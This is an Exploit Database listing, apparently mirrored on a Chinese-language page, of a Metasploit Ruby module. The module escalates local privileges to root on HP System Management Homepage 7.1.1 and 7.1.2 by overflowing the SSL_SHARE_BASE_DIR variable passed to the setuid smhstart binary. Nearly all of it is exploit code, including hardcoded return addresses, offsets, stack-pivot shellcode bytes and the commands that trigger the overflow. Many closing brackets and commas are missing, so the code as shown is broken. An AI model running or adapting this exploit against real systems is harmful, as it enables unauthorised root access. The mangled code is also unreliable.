HP System Management Homepage – Local Privilege Escalation (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2013-04-08
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/24929/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/exploit/local/linux'

require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

include Msf::Exploit::EXE

include Msf::Post::File

include Msf::Post::Common

include Msf::Exploit::Local::Linux

def initialize(info={})

super( update_info( info, {

'Name'=> 'HP System Management Homepage Local Privilege Escalation',

'Description' => %q{

Versions of HP System Management Homepage <= 7.1.2 include a setuid root

smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR

env variable.

'License' => MSF_LICENSE,

'Author'=>

[

'agix' # @agixid # Vulnerability discovery and Metasploit module

'Platform'=> [ 'linux' ],

'Arch'=> [ ARCH_X86 ],

'SessionTypes'=> [ 'shell' ],

'Payload'=>

{

'Space' => 227,

'BadChars' => "\x00\x22"

'References'=>

[

['OSVDB', '91990']

'Targets' =>

[

[ 'HP System Management Homepage 7.1.1',

{

'Arch' => ARCH_X86,

'CallEsp' => 0x080c86eb, # call esp

'Offset' => 58

}

[ 'HP System Management Homepage 7.1.2',

{

'Arch' => ARCH_X86,

'CallEsp' => 0x080c8b9b, # call esp

'Offset' => 58

}

'DefaultOptions' =>

{

'PrependSetuid'=> true

'DefaultTarget' => 0,

'DisclosureDate' => "Mar 30 2013",

}

))

register_options([

OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])

], self.class)

end

def exploit

pl = payload.encoded

padding = rand_text_alpha(target['Offset'])

ret = [target['CallEsp']].pack('V')

exploit =pl

exploit << ret

exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11

exploit << "\xe9\x0e\xff\xff\xff"# jmp => begining of pl

exploit << padding

exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better

id=cmd_exec("id -un")

if id!="hpsmh"

fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")

end

cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")

cmd_exec("#{datastore['smhstartDir']}/smhstart")

end